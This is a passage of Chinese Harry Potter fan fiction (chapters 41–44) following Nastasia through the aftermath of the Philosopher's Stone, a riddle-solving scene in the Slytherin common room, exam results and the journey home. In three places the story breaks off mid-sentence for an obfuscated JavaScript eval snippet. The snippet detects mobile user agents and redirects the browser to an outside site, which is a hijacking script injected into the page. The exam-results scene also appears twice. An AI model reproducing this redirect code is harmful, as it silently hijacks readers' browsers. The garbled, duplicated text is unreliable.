哈利似乎看出了她心里的想法:“事实上,我认为,邓布利多似乎有意在给我一个机会——圣诞节的隐身衣就是他送来的。娜缇,还记得圣诞假期那晚他对我说的话吗?” “哪晚?”罗恩忽然插嘴。 娜斯缇亚和哈利双双侧目,避开了他和赫敏审视的视线。 “哈!”罗恩似乎没有那一刻像现在这样敏锐过,“是那个晚上对不对?我来找你劝哈利,结果你们两个背着我偷偷跑出去?” “你听我……” “你明明也说过那面镜子很危险的!”罗恩用一种看叛徒的眼神怒视娜斯缇亚。 “好了,罗纳德,”娜斯缇亚用一种哄小狗的语气开口,“让我们先忘了这件事吧。” “当时邓布利多教授就告诉哈利,如果有机会再见到厄里斯魔镜,让他要做好准备。”她继续说道,目光重新落到哈利身上,“这么说,他早就暗示过你,保护魔法石的最后一道防线就是厄里斯魔镜。他是怎么做到的?” 于是,哈利就在罗恩不断的冷哼声中,把整件事原原本本地跟她说了一遍:从罗恩为解开巫师棋牺牲了自己,到赫敏揭开那道斯内普留下的逻辑推理题,再到他只身进入最后一间房间。 “……奇洛就在那里等着我。我被他推到镜子前,想着魔法石可能会在什么位置,它就这样到了我的手里。”哈利说,“之后,邓布利多告诉我,只有希望找到魔法石、却不打算利用它的人,才能够得到它。” “太妙了……”娜斯缇亚喃喃道,“谁会想到这个办法呢?伏地魔一辈子也没办法拿到魔法石的!那你又是怎么骗过他的……?” 她忽然想到了一些事:“斯内普教授有没有来救你?” 哈利愣住了。 须臾,他艰难地点了点头。 娜斯缇亚忽略了他和罗恩的表情:这个答案对他们来说的确有些难以启齿。 “伏地魔原本想杀了我。” “可是我母亲留下了一道印记,邓布利多说那是一种永恒的护身符,和爱有关……” “而奇洛把自己的灵魂出卖给了伏地魔。所以他无法触碰我。于是我们扭打了起来。就在这时候,斯内普……教授来了,他趁奇洛满地打滚的功夫,把我从那里带走了。” “之后呢?邓布利多教授回来了吗?” “似乎是这样。当时我的脑袋太痛了,晕了过去,没有立刻见到他。”哈利说,“之后,我昏睡了三天,醒来的时候就看见你躺在右手边。庞弗雷女士很紧张,半个小时就要过来量一次你的体温,每次都紧皱眉头。” 说完这句话之后,他们三个都沉默地注视着娜斯缇亚。 娜斯缇亚明白,他们是在等着自己说说那天的情况。 她只好说:“海格把你们去找他的事告诉了我。我发现邓布利多教授离开了学校,就猜到你们应该会去四楼检查……我本来想直接去找斯内普教授帮忙,但在一楼遇上了费尔奇。弗雷德和乔治恰巧告诉过我几条密道的位置,当时我面前唯一的那条……恰好通往黑魔法防御课教室。” 赫敏紧张地盯着娜斯缇亚。 “是的,故技重施。”娜斯缇亚知道她想问什么,点点头,“我在魔障中看见他正站在厄里斯魔镜前。” “伊莱莎阿姨真有远见——幸好你已经学会了反咒。” 娜斯缇亚点点头。 她没有向朋友隐瞒自己正在和斯内普教授学习黑魔法防御术这件事。 “这样说来,他总算还算做过一两件好事。”片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590101|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻后,罗恩从鼻子里哼出一声。 “你的脑袋还好吗?”娜斯缇亚关切地注视着他的脑袋。 “我好得不能再好了。”罗恩说完,忽然用一种古怪的语调问,“你明天能出院了吗?” 娜斯缇亚点点头。 罗恩露出一个有些幸灾乐祸的笑:“那我希望你做好准备。” ? “你今天晚上真应该来礼堂看看,娜缇。”半晌,哈利为她解了惑,“马尔福那赢了学院杯却仿佛吃了十只苍蝇的表情——哦,娜缇,恐怕你还不知道你们赢得了学院杯吧?” 娜斯缇亚微笑着摇了摇头。 “她已经知道啦!”罗恩一眼就看了出来,“总之,你只要知道,斯莱特林能赢全是靠你。你又给你们学院加了20分呢!这件事我们待会再说,还是先谈谈马尔福吧!” “什么?” “哦,事情是这样的,”提起这件事,连赫敏脸上也带着淡淡的笑意,“大家晚上进入礼堂的时候,礼堂已经到处装饰着斯莱特林的标志。但晚宴开始前,邓布利多提出要给我们一些额外的奖励……” “整整一百七十分,差一点就超过斯莱特林了!”罗恩忍不住插嘴,“大家都炸开了锅。” “但邓布利多又马上宣布,他还要额外给斯莱特林再加二十分,因为你的冷静和卓绝的魔咒水平,及时解救了自己的同学。”哈利说。 “你的那些斯莱特林伙伴们,脸色个个精彩。”罗恩补充道,“但所有人都心服口服——你出名啦,娜缇,现在整个学校都在传,说你和奇洛进行了一场决斗。” “某种程度上来说,的确是这样啊。”赫敏说。 娜斯缇亚哭笑不得。 同时,她察觉到哈利似乎有话说,于是转头注视着他。哈利的眼睛闪烁着宝石般璀璨又温和的光芒,让娜斯缇亚一下就明白了他想表达的意思。 但哈利还是把那句话说出了口:“谢谢你,娜缇。” “不,不用。”娜斯缇亚觉得有些脸热。 于是她决定转移话题。 “我很好奇,魔法石是什么样的?” “哦,”这个问题似乎把哈利难倒了。他眨眨眼,似乎在回想它的样子,“我没时间认真看,但那是一块鲜红的石头,形状不太规则,却十分平整剔透,在火光下仿佛能随时融化在我手里。” “真漂亮。” “漂亮也没有用,它现在已经被毁啦。”罗恩说。 “尼克·勒梅真是一位高尚的巫师。”赫敏感慨道,“没有魔法石,他再也不能继续做出长生不老药了。” ——死亡。 他们几乎在同一时间想到了这个沉重的词。 “但邓布利多告诉我,”哈利打破了沉默,“‘对于头脑十分清醒的人来说,死亡不过是另一场伟大的冒险。’” 罗恩看起来不大赞同这句话,娜斯缇亚却在这一刻想起了亚伦。 她感觉自己似乎能理解邓布利多的意思。 娜斯缇亚不愿意让自己陷入悲伤的情绪太久。她摇摇头,提出了新的问题:“不过,为什么是一百七十分?” 她实在无法将这个数字三等分。 她将目光投向哈利:也许邓布利多额外给他奖励了20分。这是理所应当的。 哈利摇摇头:“是纳威。” “纳威?”娜斯缇亚更困惑了。 她那天甚至没注意到地图上有这个名字。 “不,不是你想的那样。”赫敏说。 她告诉娜斯缇亚,那天他们出门的时候,纳威试图阻止他们。 “赫敏用全身束缚咒拦住了他。当然啦,他站出来的时候我们真的感到非常意外。” 娜斯缇亚笑了起来:“也许也不用感到太意外,毕竟上一次送走诺伯的时候,也是他来天文塔提醒了你们。” “哦——是的。” “我有点开始相信分院帽的睿智了。” 他们彼此对视一眼,不约而同地笑了起来。 “我们还在走廊上遇到了皮皮鬼!你绝对想不到哈利用什么方法吓走了他!”罗恩兴奋起来,音量也逐渐提高了。 但在这种时候,谁也不会记得去提醒他。 他越说越高兴,几乎称得上得意忘形:“还有赫敏,‘可是这里没有火柴啊!’” 这句话无疑为自己的后背招来了毫不留情的一掌。 42.第 42 章 格兰芬多们一直在医疗翼待到了将近两点才走。 哪怕是这样,娜斯缇亚也起了个大早,顶着庞弗雷女士极其不赞同的视线,走进医疗翼的办公室。 “你需要注意休息,格雷小姐。” “我会的,庞弗雷女士。”娜斯缇亚说,“可要是继续一个人躺在这,我一定会长蘑菇的。” “单独?”庞弗雷女士简直都不好意思拆穿她。 如果不是因为她这几天实在累得腰酸背痛,她昨晚一定会把格兰芬多那几个精力过剩的小鬼一个个都揪出去。 娜斯缇亚心虚地移开眼神。 她在堆成小山般的零食底下看到了一叠厚厚的书。 原来不是没人给她送小说,而是都被庞弗雷女士收起来了。 娜斯缇亚用长袍把所有礼物都包了起来,偷偷施了一个漂浮咒,假装抱着它们,堂而皇之地从费尔奇面前走过。 “娜缇!真的是你!”忽然有人气喘吁吁地追上来,拍了拍肩膀。 是她的赫奇帕奇朋友们。 他们团团围住了娜斯缇亚,为首的汉娜伸手将她面前的那堆礼物夺过来,塞进了厄尼和贾斯廷的怀里。 “梅林啊,你是怎么抬动这些东西的?”厄尼毫无准备,差点被压得跪在地上。 贾斯廷也往前一个趔趄,涨红了脸。 娜斯缇亚没能回答这个问题。 她正被汉娜握住双手,前后左右转着圈检查:“你没事了吧?!” 娜斯缇亚点点头,终于制止了好友探测仪般的举动:“你应该对庞弗雷女士的医术有信心。” “你真是吓坏我了!”汉娜狠狠地搂了她一下,眼眶红红的,“他们都说,你为了保护朋友,和奇洛展开了一场决斗!还有人在医疗翼听见庞弗雷女士和斯内普教授争论着要把你送去圣芒戈呢……大家都担心极了。幸好塞德里克回来告诉我们,说你还好好地躺在医疗翼的床上,不然我们都打算放假那天就去医院看你了。” 呃,要怎么告诉汉娜,争论着把她送去圣芒戈这件事可能是真的呢…… 当然,这个想法只是在娜斯缇亚心里一闪而过:“其实我只是……” “格雷!真的是你!”一道惊雷般的声音劈在走廊,向他们翻涌而来,“我还以为自己看错了呢!” “你太厉害了!我敢说,整个学校还没人能在实践中真正地抵抗黑魔法!更别说和一个坏巫师决斗!”面前这个不知从哪冒出来的高年级拉文克劳涨红着脸,热情地握了握娜斯缇亚的手,“我们打算成立一个决斗俱乐部,由弗立维教授担任指导老师,你要不要来当会长?” “呃,一年级应该不能当会长吧?”娜斯缇亚问。 “差点忘了,你还是一年级的学生……”然而,那个高年级只苦恼地沉思了片刻,就重燃起了希望之火,“那么,你来当弗立维教授的助教!怎么样?你放心,我们的俱乐部申请已经经过了各位教授和校长的同意,绝对是正规组织。” 没有人说你们是地下党派啊! “我……”娜斯缇亚脑筋转了转,忽然看见移动楼梯上的一个黑色脑袋,灵机一动,一本正经道,“我认为你应该去请教哈利·波特,他才是真正直面坏巫师的人。” “对!对!”他一拍手掌,“我应该也问问波特愿不愿意参加,还有格兰杰和韦斯莱……” 说完,他几步上前,灵活地跨上另一道移动台阶,去追哈利去了。 正当娜斯缇亚松了一口气的时候,恶魔般的声音又从她脑袋顶上传来:“你的朋友们来,你就来,对吧?” ? 她有这么说吗? “好!就这么说定了!”自说自话的拉文克劳缩回脑袋,“噔噔噔”跑远了。 空中隐隐约约传来了一声殷切的“波特——哈利·波特——” 娜斯缇亚笑出了声。 “你还笑!”汉娜不满地捏捏她的脸颊,惊呼一声,“你都瘦了!来,跟我们去厨房吃点东西!我要请萨米为你烤一块最香最嫩的牛肋排!” 娜斯缇亚当然不会拒绝这个建议。 她挽住汉娜的胳膊,转身给那堆礼物重新施了个咒语。 厄尼和贾斯廷长舒出一口气。 “对了,甘蓝……” “放心吧,”汉娜露出脸颊上两个小小的笑涡,“我们每天轮流去菜地照看它们,把彻底坏死的叶片剥掉后,它们看起来活泼极了,我想,新学期这些甘蓝就会长出很健壮的牙齿——对了!斯普劳特教授已经看过我们熬制的药水了,她夸我们做得不错呢!” “我前段事件阅读新一期的《国际草药学报》,中国的巫师们似乎培育出了能伸长叶片攻击入侵者的白菜。”娜斯缇亚说,“我想暑假试着种种这个新品种,看看它们能不能击退地精。” “到时候可以邀请我来你家看看吗?”汉娜惊呼一声。 “没问题!” “她们两个真是太可怕了……”厄尼虚弱的声音从另一侧响起。 * 娜斯缇亚踏进斯莱特林公共休息室的时候,受到了前所未有的注目。 现在正好是午休时间,公共休息室的人并不算特别多。但大家看着她,都诡异地沉默着,直到达芙妮发出一声尖叫:“娜缇!你回来了!” “有时候我真怀疑你是不是分错了学院,”德拉科坐在沙发上,表情看起来十分嫌弃,“夜游——你脑子被巨怪踢了?亏你想得出来!” 娜斯缇亚挑挑眉毛,打断了他来不及展开的喋喋不休:“我记得前段时间好像有人想要夜游来着,那个人是不是还几次在礼堂表示要谢谢我和西奥拦住了他?” 德拉科的脑子只有在和她作对的时候转得最快。他立刻反唇相讥:“至少我没把自己给弄进医疗翼。” 听见这句话,达芙妮也板起了脸:“究竟是怎么一回事?难道你真的为了救波特他们,跑去和奇洛对峙了?” “我早就说过了,跟那群格兰芬多玩能有什么好下场?”德拉科又一次抢在娜斯缇亚面前开口,“他们没有脑子,也没有能力,遇到危险肯定只会躲在别人身后乱叫。” 说到这,他飞快地瞥了一眼娜斯缇亚脖颈上那道淡淡的红痕:“算你走运,遇上的只是个奇洛。” “事实上,”娜斯缇亚看着四周悄悄竖起耳朵的同学,微微抬高声调,“真正面对奇洛、通过教授们布下的机关的,恰恰是你口中的‘那群格兰芬多’。” “教授们布下的机关?”窃窃私语声在休息室响起,很快,一位高年级扬声问,“格雷!你知道四楼走廊到底保管着什么吗?” 人群立刻炸开了锅: “我父亲告诉我,邓布利多在学校私藏了宝贝!” “不,我母亲说,这件事魔法部也知情,里面保管着一份机密文件!” “喂,你们都忘了奇洛教授是教什么的吗?里面的东西当然和黑魔法有关。” “说不定里面关着一只吸血鬼,所以奇洛才总是包着一头的大蒜……” 面对大家或试探、或求证、或好奇、或戏谑的目光,娜斯缇亚只是摇摇头:“事实上,我并不清楚里面的东西到底是什么。但不管那是什么,哈利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604597|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉我,它已经被销毁了。” 大家都失望地叹了一口气。 “看吧。我爸爸说得没错,邓布利多果然是个疯子!他简直是糊涂了,什么东西都敢往学校领。” “格兰芬多的胆子真是太大了!”达芙妮也摇摇头,“如果是我,才不会去管这种事。” 周围有不少同学都点了点头,看起来很赞同她的观点。 德拉科嗤笑一声:“明明是愚蠢!” 他的话显然引起了更多人的共鸣。 娜斯缇亚懒得跟德拉科生气。她故意摆出一副神神秘秘的样子,挽住达芙妮的胳膊,低声问:“达菲,你想不想知道教授们都在四楼走廊留了什么难题?” 达芙妮激动地点点头。 潘西的眼睛也一眨不眨地看着娜斯缇亚。 “娜斯缇亚!这不公平!”离女孩子们稍近的布雷斯抗议了,“我也想知道!” 围观的大家不明所以,却也知道有瓜可吃,跟着附和道:“我们也想知道!” “好吧。我只说这一次——” 动作快的斯莱特林立刻蹦了起来,回自己的寝室叫来室友。 很快,公共休息室挤满了人,他们大多数都搬来了寝室的沙发或者椅子,好奇的脑袋一直堆到了走廊口。 要知道,斯莱特林每年招收的学生都不是太多,这几乎是一整个学院的人了。 娜斯缇亚在人群中看见了杰玛和艾丽娅,心虚地移开视线。 幸好这个时间点西奥多一般不在公共休息室。 不然她还要再接受一道拷问的视线。 * 娜斯缇亚无疑是讲故事这方面的天才。 然而,人群中还是不可避免地出现了一些不和谐的声音:“要我说,除了巨怪,这些关卡也太小儿科了,魔鬼网?那首诗我六岁就会背了。” “克劳泽,别说大话,”一个女声在娜斯缇亚背后响起,“以你的智商,休想通过麦格教授的巫师棋阵。” “那个韦斯莱也不见得有多高明,谁没看见前几天他脑袋上的那道疤?”克劳泽·罗尔涨红了脸。 娜斯缇亚冷冷地看了他一眼。 “真抱歉,我不该这么说,”她还没来得及说什么,身后那个女生再次开口,“就凭你的飞行技术和眼力见,应该连门钥匙都找不到,更别说下棋了。” 魁地奇球队的成员们不干了。他们抓过斯莱特林的找球手特伦斯·希格斯:“克劳泽不行,难道我们其他人也不行吗?” 那个皮肤白净的男生笑着拂开他们的手:“我可什么话都没说。” “而且,为什么参与布置关卡的人里没有我们的院长?”这时,弗林特怪笑一声,“也许他知道邓布利多会让一群格兰芬多小毛头去保护他的宝贝!” 娜斯缇亚脸上笑容不减:她此刻正需要一个人来烘托氛围。 而且,某种程度上来说,他的确猜对了。 “你错了!”娜斯缇亚白了他一眼(她早就想这么做了),“斯内普教授的关卡是最后一道防线,他的关卡也是最难的。所以我想让大家一起试着思考这个问题。” 大家都露出了跃跃欲试的目光。 很快,几张大大的羊皮纸和羽毛笔被送到娜斯缇亚手里。 娜斯缇亚回想着赫敏的话,挥笔在纸上写了起来。 几秒后,她抬起头:“劳驾,大家能不能别把脑袋凑过来?挡着光了。” 高傲矜持的斯莱特林们不约而同地直起腰板,假装在欣赏天花板的吊灯。 娜斯缇亚忍不住笑了一声。 43.第 43 章 娜斯缇亚飞快地在纸上抄录了斯内普教授的谜题,又根据赫敏的转述画了一张图,再检查一遍,才施咒把墨迹复制到其他空白的羊皮纸上,分发给大家。 “酷!”特伦斯·希格斯忽然凑过来,“格雷,不——娜斯缇亚,你能不能教教我这个咒语?我太需要了!” 见弗林特瞪了自己一眼,他无辜地耸耸肩:“马库斯,你别这样看着我,你知道我父母总是喜欢让我抄那些无聊的书,暑假又要来了,我得早做打算。” 娜斯缇亚挑挑眉:“没问题。我应该能在放假前教会你——只要你不是笨蛋。” “当然,”特伦斯笑了起来,眼睛亮晶晶的,“我会付给你报酬的——” “如果我没记错的话,”一个阴阳怪气的声音在他们之间响起,“我们现在是在讨论教授留的谜题吧?” 娜斯缇亚看了德拉科一眼:“怎么,我们说话影响了你的解题思路?” “怎么?难道你不承认自己已经打扰到了别人?” “那么真抱歉。”娜斯缇亚说。 德拉科一拳打在棉花上,半天想不出话来回击,只能冷哼一声,捧着羊皮纸重新靠在沙发背上。 优雅。 姿态非常优雅。 如果他的眉毛没皱成一团的话。 * 他们停止交谈后,公共休息室忽然静了下来。 大家都在绞尽脑汁钻研着那篇“长诗”的内容。 直到艾丽娅惊讶的声音从后方传来:“天哪!这是道逻辑推理题!” 娜斯缇亚露出一个满意的笑。 识货的人终于来了。 紧接着,几个麻瓜家庭出身的学生激烈地讨论了起来。 他们的声音越来越激动,也越来越响亮,几乎盖过了其他所有人。 娜斯缇亚看着那些平日里以纯血统为傲的同学露出困惑吃瘪的神情,忍不住心情大好。 德拉科紧紧皱着眉头:羊皮纸上的每个单词他都认识,可连在一起,却仿佛成了团成一堆的毛线,怎么也找不到埋在中间的线头。 这让他十分恼火。 “简单来说,这是一个谜语,考验的是你的逻辑思维能力。”娜斯缇亚轻飘飘地瞥了他一眼,“如果你从来没学过任何麻瓜的知识,又没有过人的智慧,那就绝对猜不出。” 这句话无疑激起了纯血家庭出身的巫师的好胜心。 不远处,听见这话的艾丽娅差点笑出声:“她还真敢说。” “你解出来了吗?”杰玛问。 “当然——”艾丽娅高高举起了手,“我做出来了!娜缇,我能知道答案了吗?” “那么,就请你来为大家讲解吧,艾丽娅。”娜斯缇亚笑眯眯地说。 还在苦苦思考的斯莱特林们纷纷投来了或嫉妒或怀疑的目光。但他们还是为艾丽娅开出了一条道。 “让我们从左到右先为这七个瓶子标号。”艾丽娅坐到娜斯缇亚的身边,接过她手中另一只红墨水的羽毛笔。 “根据娜缇给出的图和谜题,最大和最小的瓶子不会是毒药。我们可以先把最小的3号和最大的6号挑出来。” “毒药在荨麻酒的左边,因此,最右边的7号也不是毒药。” “左边第二瓶和右边第二瓶是一样的液体,也就是说,2号和6号一样。既然这样,它们要么是荨麻酒,要么都是毒药。” “我们已经排除了6号是毒药的可能性,所以它们是荨麻酒。这样一来,1号和5号就只能是毒药。” “最后,我们就只要考虑3号、4号和7号了。” “再看谜题,左右两端的药水内容不同,且不帮助前进。7号既然无毒,就是后退的药水。” “3号也无毒!所以它是前进的药水!”达芙妮不仅听得认真,还学会了抢答。 “是的。”艾丽娅点点头,“就是这么简单。” 可她说得太快,好些人手里又没有羊皮纸,压根还是一头雾水。 其中一些还没搞明白的同学选择向其他人低头,另一些则记下了答案,昂着骄傲的头颅回寝室继续琢磨了。 休息室的人群逐渐散去,娜斯缇亚这才笑眯眯地看着仍然拧着眉毛的德拉科:“德拉科,你不会还没想明白吧?” “怎么可能?!”德拉科忿忿地回敬她一个不客气的眼神,“你确定这是斯内普教授布置的谜题?” 娜斯缇亚耸耸肩:“你可以去问他本人。” “你确定那三个格兰芬多解开了这道题?”他不死心地再问道。 “别逗了,但凡在麻瓜学校上过一天学,这道题都能解出来。”艾丽娅翻了个白眼,扭头对娜缇留下一句可怕的“我和杰玛在寝室等你”,就转身走了。 德拉科用一种十分诡异的声调从喉咙里挤出一句:“你的意思是,这题是格兰杰解出来的?” “显而易见。”娜斯缇亚甩下这句话,在达芙妮同情的目光中,视死如归地朝着寝室进发。 * 事实上,娜斯缇亚没有遭受到任何拷问。 杰玛和艾丽娅只是用一种看小动物的眼神注视着她,看得娜斯缇亚头皮发麻。 “呃,”娜斯缇亚忍不住说,“我可以解释……” “不用解释,”艾丽娅扒着她的脖子检查了一遍又一遍,“太倒霉了,下次让韦斯莱给你找一个安全点的密道好吗?” 太棒了,她们的重点完全不在夜游上。 娜斯缇亚露出一个可怜巴巴的表情,低下头偷笑。 “奇洛他……是不是中了夺魂咒?”杰玛犹豫着问。 娜斯缇亚知道,她心中一直有这样隐隐的猜测。 但她还是摇摇头,说出了真相:“奇洛把自己的灵魂出卖给了伏地魔,甘愿做他的仆人,替他找到重获力量的办法。” 艾丽娅瞪大了眼睛:“伏……那个神秘人没有死?可是,大家不都说,哈利·波特把他消灭了吗?” “哈利又不是什么强效杀虫剂。”娜斯缇亚没忍住说,“是哈利的母亲选择牺牲自己,保护了他,所以现在,跟随伏地魔的奇洛也没法触碰到哈利。” 艾丽娅无疑是个感性的女孩子。 她感动得泪眼朦胧:“魔法真是太伟大,太神奇了……” “我听说,拉文克劳的阿尔文要办一个决斗协会,教授们都同意了,”杰玛抽了一张纸巾递给她,继续对娜斯缇亚说,“你知道这件事吗?” “我上午在走廊遇到的那个应该就是他……”娜斯缇亚捂住额头,“他想请我当助教。” “你怎么想?” “我还没考虑呢。”娜斯缇亚诚实地说。 “如果你去,肯定有好多人会加入的。” “如果这个决斗协会如果能正经办下去,对大家是很有益的。”杰玛说,“教授们应该也这么想。” “你是说,教授们想借机锻炼我们的实战能力?” 杰玛点点头。 “知道了,”娜斯缇亚沉思片刻,“下次遇到他,我会同意的。” “但最好不要让你的朋友在协会担任太重要的位置。”杰玛话锋一转,“这样很容易变成另一种性质。” “你是说哈利·波特?杰玛,你会不会紧张得过头了?”艾丽娅吃了一惊。 娜斯缇亚却摇摇头:“如果以长远角度来考虑,杰玛说的是对的。” “既然那个人没有死,等到他大张旗鼓宣布回归的那天,学校里,尤其是我们学院的关系将会变得复杂,说不定……这里也不再安全了。” 她们一起陷入了沉默。 “好吧,”半晌,艾丽娅搂住她们的胳膊,“至少他现在还没回来呢,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607081|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们总不能每天就这么愁眉苦脸的吧!” 娜斯缇亚被她逗笑了:“你说得对。” * 娜斯缇亚在寝室辗转反侧了两个小时,还是打算亲自去菜地探望一下她的甘蓝们。 一切诚如汉娜所言,它们正茁壮生长着。 娜斯缇亚紧盯着不远处抖动着的草丛,再次坚定了种植“拳击白菜”的决心。 她慢慢靠近草丛,熟练地从泥里揪出一只地精,倒拎着它的脚踝,像甩跳绳那样飞快地挥了整整五圈,才松手把它丢了出去。 “噗通”一声,地精落进水里的声音惹来了树下某人的回头。 娜斯缇亚拍了拍手心的泥土,冲他挥了挥手:“下午好!” 西奥多放下书本,朝她走了过来。 “我刚刚还以为是鸟的阴影。”他问,“你什么时候出院的?” “今天上午。”娜斯缇亚没有停下手里的动作。 池塘漂浮着一堆扑腾着四肢的地精,惹来了巨乌贼的冒头。很快,菜地里的地精就都往那边跑去了。 “原来是这样清理的。”西奥多看起来有些意外。 “有可能只是我们家这样做。”娜斯缇亚问,“地精很爱凑热闹,又不大聪明,处理起来很快——就是跑回来的速度也快。” 西奥多摇了摇头:“我不太清楚。” 娜斯缇亚心领神会:“哦,你们家应该有家养小精灵。” 西奥多看起来不是很想谈这件事。 “来看看我种的中国咬人甘蓝!”娜斯缇亚很快转移了话题,“我看到你送来的小说,不过很遗憾,在我出院的时候,才有机会碰到它们。” 西奥多被拉着往前走了几步,视线落在她飘动的长发上。 那上面沾着一些从地精身上抖落的泥土,却衬托得她的金发更加闪耀。 * 达芙妮天天数着日子,终于,在她疯掉的前一天,期末考的成绩单发了下来。 “一个,两个,三个……梅林啊……全是O……”她颤抖地捏着从娜斯缇亚手里接过的羊皮纸。 “底下还有个E呢。” 这句小声的抱怨引来了大家的怒视。 虽然娜斯缇亚嘴上这么说,但她心里还是很高兴的。 宾斯教授一定手下留情了。 他真是天底下最好的幽灵! “要是你的魔法史也拿了O,”布雷斯往角落那个充满怨念的身影瞥去一眼,十分可惜地说,“年级第一名就又是斯莱特林了。” 德拉科陷入了深深的恼怒和挫败和:他至今不愿意相信,一个麻瓜家庭出身的女巫居然考了年级第一。 面前这个总是和自己作对的斯莱特林叛徒居然也拿到了十分惊人的成绩。 据说,她的魔药和黑魔法防御分数都拿到了整个年段的最高分。 115! 他简直怀疑她贿赂了斯内普教授。 这两门恰恰都是他负责改卷。 奇洛在学校消失后,大家都猜测他们的院长会成为下一任黑魔法防御课的教授。 ……好了,现在这些都不是重点。 重点是,大家为什么表现得都这么理所应当? 看看他们围着娜斯缇亚转的蠢样子!那群家伙难道都不会感到羞愧吗?!难道看见非巫师家庭出身的人成绩比自己还强是什么值得高兴的事吗? 德拉科愤怒地想。 他将目光投向和自己一样安静的西奥多:“给我看看你的成绩单。” 西奥多仍然没什么表情,只是把成绩单往他的方向推了推。 德拉科只看了一眼,就“嗖”地一下把它甩了回去。 西奥多的成绩又凭什么比自己多了一个O? 看来他必须找个机会,去把波特和韦斯莱的成绩单偷过来看看。 44.第 44 章 达芙妮天天数着日子,终于,在她疯掉的前一天,期末考的成绩单发了下来。 “一个,两个,三个……梅林啊……全是O……”她颤抖地捏着从娜斯缇亚手里接过的羊皮纸。 “底下还有个E呢。” 这句小声的抱怨引来了大家的怒视。 虽然娜斯缇亚嘴上这么说,但她心里还是很高兴的。 宾斯教授一定手下留情了。 他真是天底下最好的幽灵! “要是你的魔法史也拿了O,”布雷斯往角落那个充满怨念的身影瞥去一眼,十分可惜地说,“年级第一名就又是斯莱特林了。” 德拉科陷入了深深的恼怒和挫败:他至今不愿意相信,一个麻瓜家庭出身的女巫居然考了年级第一。 面前这个总是和自己作对的斯莱特林叛徒居然也拿到了十分惊人的成绩。 据说,她的魔药和黑魔法防御分数都拿到了整个年段的最高分。 115! 他简直怀疑她贿赂了斯内普教授。 这两门恰恰都是他负责改卷。 奇洛在学校消失后,大家都猜测他们的院长会成为下一任黑魔法防御课的教授。 ……好了,现在这些都不是重点。 重点是,大家为什么表现得都这么理所应当? 看看他们围着娜斯缇亚转的蠢样子!那群家伙难道都不会感到羞愧吗?!难道看见非巫师家庭出身的人成绩比自己还强是什么值得高兴的事吗? 德拉科愤怒地想。 他将目光投向和自己一样安静的西奥多:“给我看看你的成绩单。” 西奥多仍然没什么表情,只是把成绩单往他的方向推了推。 德拉科只看了一眼,就“嗖”地一下把它甩了回去。 西奥多的成绩又凭什么比自己多了一个O? 看来他必须找个机会,去把波特和韦斯莱的成绩单偷过来看看。 * 成绩出来后的每一天都过得飞快,几乎只是一眨眼,小巫师们就踏上了回程的列车。 在火车上,哈利递给娜斯缇亚一本相册。 “海格给我的。” “伊莱莎和亚伦!”娜斯缇亚翻了翻,在一张集体照里意外看到两道熟悉的身影。 照片的场景是一个婚礼现场,短头发的伊丽莎白站在新娘——也就是莉莉·伊万斯的身侧,挽着她的手;而亚伦站在一个和他身高相仿的男人身边,他们的笑容都十分潇洒、意气风发。 “快看。”娜斯缇亚把相册推到赫敏面前,和她咬耳朵,“这位把头发梳成背头的伴郎先生怎么样?” “天哪,他长得真是英俊非凡。”赫敏也惊叹一声。 “你俩在说什么呢?”手舞足蹈的罗恩停下来,狐疑地瞥来一眼。 娜斯缇亚自然地揭过一页:“没什么。” “我想我们差不多可以把衣服换回去了。”赫敏看了看手表,说。 “你们今年暑假一定要来我们家里玩,”罗恩一边转身去拿箱子一边说,“我会派猫头鹰去邀请你们的。” “我认为我们最好还是别派猫头鹰去哈利家里,”娜斯缇亚告诫他,扭头对哈利说,“把德思礼家的电话号码告诉我们,好吗?” “我还是不习惯用那个叫‘电话’的玩意。”罗恩嘟嘟囔囔地说。 * “娜缇!赫敏!我在这里!” 正当娜斯缇亚在车站握着哈利的手拼命传授“让德思礼一家遭受前所未有惊吓的第一百个方法”时,她听见站台外传来一个熟悉的声音。 伊丽莎白竟然特地请了假,到车站来接她们。 她穿着包臀裙,戴着一副时尚又夸张的超大太阳镜,在一众巫师群中显得格格不入。 娜斯缇亚迅速抽走了哈利手里那张警告学生不允许在假期使用魔法的通知单,揉成了一团:“那么,假期见,哈利。” 她匆匆和金妮拥抱了一下,带着赫敏奔向伊丽莎白。 “甜心,你又瘦了。你们的院长在信里告诉了我一切,你恢复得还好吗?” “一切都好。”娜斯缇亚担忧地看她一眼,“你怎么有空回来?” “我告诉他们,我女儿躺进了圣芒戈。” “……” 